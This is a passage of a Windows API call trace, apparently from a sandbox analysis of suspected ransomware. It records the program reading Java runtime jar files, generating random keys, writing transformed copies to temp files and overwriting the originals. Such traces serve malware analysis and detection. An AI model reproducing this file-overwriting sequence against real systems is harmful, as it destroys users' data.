	[0248.377] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.378] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.378] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.379] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.379] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.380] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x57fa, lpOverlapped=0x0) returned 1
	[0248.380] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x57fa, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x57fa, lpOverlapped=0x0) returned 1
	[0248.381] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x0, lpOverlapped=0x0) returned 1
	[0248.381] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ac4d62ca3591c57d97b943f6da564a8e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ac4d62ca3591c57d97b943f6da564a8e")) returned 0
	[0248.382] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ac4d62ca3591c57d97b943f6da564a8e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ac4d62ca3591c57d97b943f6da564a8e")) returned 0
	[0248.382] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ac4d62ca3591c57d97b943f6da564a8e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ac4d62ca3591c57d97b943f6da564a8e")) returned 0x20
	[0248.382] CloseHandle (hObject=0x120) returned 1
	[0248.382] CloseHandle (hObject=0x19c) returned 1
	[0248.667] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ac4d62ca3591c57d97b943f6da564a8e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ac4d62ca3591c57d97b943f6da564a8e")) returned 1
	[0248.688] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0248.803] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0250.267] SetEvent (hEvent=0xf0) returned 1
	[0250.267] WriteFile (in: hFile=0x0, lpBuffer=0xc000066000, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0xc0000c5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c5d94, lpOverlapped=0x0) returned 0
	[0250.268] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070dffdf0*=0x188, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0250.379] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x7070dff928, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x7070dff928*=0x1ac) returned 1
	[0250.379] SuspendThread (hThread=0x1ac) returned 0x0
	[0250.379] GetThreadContext (in: hThread=0x1ac, lpContext=0x7070dff940 | out: lpContext=0x7070dff940*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70703ff768, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d56a4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0250.464] ResumeThread (hThread=0x1ac) returned 0x1
	[0250.464] CloseHandle (hObject=0x1ac) returned 1
	[0250.464] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070dffdf0*=0x188, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0250.572] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x7070dff928, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x7070dff928*=0x1ac) returned 1
	[0250.572] SuspendThread (hThread=0x1ac) returned 0x0
	[0250.572] GetThreadContext (in: hThread=0x1ac, lpContext=0x7070dff940 | out: lpContext=0x7070dff940*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70703ff768, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d56a4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0250.598] ResumeThread (hThread=0x1ac) returned 0x1
	[0250.598] CloseHandle (hObject=0x1ac) returned 1
	[0250.598] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070dffdf0*=0x188, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0250.619] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0250.619] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070dff658, ulCount=0x10, ulNumEntriesRemoved=0x7070dff630, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x7070dff658, ulNumEntriesRemoved=0x7070dff630) returned 0
	[0250.619] SetEvent (hEvent=0x124) returned 1
	[0250.619] SetEvent (hEvent=0xe4) returned 1
	[0250.620] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e000, nNumberOfBytesToWrite=0x97, lpNumberOfBytesWritten=0xc0000c5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c5d94, lpOverlapped=0x0) returned 0
	[0250.620] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1ac
	[0250.620] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0000c5bf4 | out: lpMode=0xc0000c5bf4) returned 0
	[0250.620] GetFileType (hFile=0x1ac) returned 0x1
	[0250.620] GetFileType (hFile=0x1ac) returned 0x1
	[0250.620] GetFileInformationByHandle (in: hFile=0x1ac, lpFileInformation=0xc0000c5c44 | out: lpFileInformation=0xc0000c5c44) returned 1
	[0250.621] GetFileInformationByHandleEx (in: hFile=0x1ac, FileInformationClass=0x9, lpFileInformation=0xc0000c5c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0000c5c28) returned 1
	[0250.621] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000132000, nNumberOfBytesToRead=0xafe4, lpNumberOfBytesRead=0xc0000c5b04, lpOverlapped=0x0 | out: lpBuffer=0xc000132000*, lpNumberOfBytesRead=0xc0000c5b04*=0xade4, lpOverlapped=0x0) returned 1
	[0250.647] ReadFile (in: hFile=0x1ac, lpBuffer=0xc00013cde4, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0000c5b04, lpOverlapped=0x0 | out: lpBuffer=0xc00013cde4*, lpNumberOfBytesRead=0xc0000c5b04*=0x0, lpOverlapped=0x0) returned 1
	[0250.648] CloseHandle (hObject=0x1ac) returned 1
	[0250.648] VirtualAlloc (lpAddress=0xc000100000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000100000
	[0250.649] VirtualAlloc (lpAddress=0xc000102000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000102000
	[0250.650] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000202180 | out: pbBuffer=0xc000202180) returned 1
	[0250.650] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000010150 | out: pbBuffer=0xc000010150) returned 1
	[0250.650] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000000501 | out: pbBuffer=0xc000000501) returned 1
	[0250.650] VirtualAlloc (lpAddress=0xc000116000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000116000
	[0250.651] VirtualAlloc (lpAddress=0xc000118000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000118000
	[0250.652] VirtualAlloc (lpAddress=0xc0001ba000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001ba000
	[0250.654] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a8029f77e3a338bf7a839208d7762dfe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a8029f77e3a338bf7a839208d7762dfe"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0250.667] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0251.143] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0000c5c04 | out: lpMode=0xc0000c5c04) returned 0
	[0251.143] GetFileType (hFile=0x1ac) returned 0x1
	[0251.144] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ba000*, nNumberOfBytesToWrite=0xaee4, lpNumberOfBytesWritten=0xc0000c5bec, lpOverlapped=0x0 | out: lpBuffer=0xc0001ba000*, lpNumberOfBytesWritten=0xc0000c5bec*=0xaee4, lpOverlapped=0x0) returned 1
	[0251.148] CloseHandle (hObject=0x1ac) returned 1
	[0251.152] VirtualAlloc (lpAddress=0xc000180000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000180000
	[0251.152] VirtualAlloc (lpAddress=0xc000182000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000182000
	[0251.154] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0251.157] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0000c5d74 | out: lpMode=0xc0000c5d74) returned 0
	[0251.157] GetFileType (hFile=0x1ac) returned 0x1
	[0251.157] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a8029f77e3a338bf7a839208d7762dfe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a8029f77e3a338bf7a839208d7762dfe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1a8
	[0251.157] GetConsoleMode (in: hConsoleHandle=0x1a8, lpMode=0xc0000c5d74 | out: lpMode=0xc0000c5d74) returned 0
	[0251.157] GetFileType (hFile=0x1a8) returned 0x1
	[0251.158] VirtualAlloc (lpAddress=0xc0001c6000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001c6000
	[0251.159] ReadFile (in: hFile=0x1a8, lpBuffer=0xc0001c6000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001c6000*, lpNumberOfBytesRead=0xc0000c5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0251.159] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001c6000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001c6000*, lpNumberOfBytesWritten=0xc0000c5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0251.163] ReadFile (in: hFile=0x1a8, lpBuffer=0xc0001c6000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001c6000*, lpNumberOfBytesRead=0xc0000c5bd4*=0x2ee4, lpOverlapped=0x0) returned 1
	[0251.163] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001c6000*, nNumberOfBytesToWrite=0x2ee4, lpNumberOfBytesWritten=0xc0000c5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001c6000*, lpNumberOfBytesWritten=0xc0000c5b74*=0x2ee4, lpOverlapped=0x0) returned 1
	[0251.164] ReadFile (in: hFile=0x1a8, lpBuffer=0xc0001c6000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001c6000*, lpNumberOfBytesRead=0xc0000c5bd4*=0x0, lpOverlapped=0x0) returned 1
	[0251.164] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a8029f77e3a338bf7a839208d7762dfe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a8029f77e3a338bf7a839208d7762dfe")) returned 0
	[0251.164] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a8029f77e3a338bf7a839208d7762dfe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a8029f77e3a338bf7a839208d7762dfe")) returned 0
	[0251.164] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a8029f77e3a338bf7a839208d7762dfe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a8029f77e3a338bf7a839208d7762dfe")) returned 0x20
	[0251.165] CloseHandle (hObject=0x1a8) returned 1
	[0251.165] CloseHandle (hObject=0x1ac) returned 1
	[0251.167] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a8029f77e3a338bf7a839208d7762dfe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a8029f77e3a338bf7a839208d7762dfe")) returned 1
	[0251.171] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a000, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000c5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c5d94, lpOverlapped=0x0) returned 0
	[0251.171] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a000, nNumberOfBytesToWrite=0x9a, lpNumberOfBytesWritten=0xc0000c5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c5d94, lpOverlapped=0x0) returned 0
	[0251.171] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1ac
	[0251.171] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0000c5bf4 | out: lpMode=0xc0000c5bf4) returned 0
	[0251.171] GetFileType (hFile=0x1ac) returned 0x1
	[0251.172] GetFileType (hFile=0x1ac) returned 0x1
	[0251.172] GetFileInformationByHandle (in: hFile=0x1ac, lpFileInformation=0xc0000c5c44 | out: lpFileInformation=0xc0000c5c44) returned 1
	[0251.172] GetFileInformationByHandleEx (in: hFile=0x1ac, FileInformationClass=0x9, lpFileInformation=0xc0000c5c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0000c5c28) returned 1
	[0251.172] SetEvent (hEvent=0xe4) returned 1
	[0251.172] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070dffdc8*=0x188, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0251.287] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0251.287] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070dff660, ulCount=0x10, ulNumEntriesRemoved=0x7070dff638, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x7070dff660, ulNumEntriesRemoved=0x7070dff638) returned 0
	[0251.287] SetEvent (hEvent=0xe4) returned 1
	[0251.287] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070dffdd8*=0x188, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0251.733] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0251.734] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0252.034] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0255.158] SetEvent (hEvent=0xd4) returned 1
	[0255.158] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0255.367] SwitchToThread () returned 1
	[0255.409] SetEvent (hEvent=0xe4) returned 1
	[0255.409] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0256.588] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0256.634] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0256.770] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0257.059] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
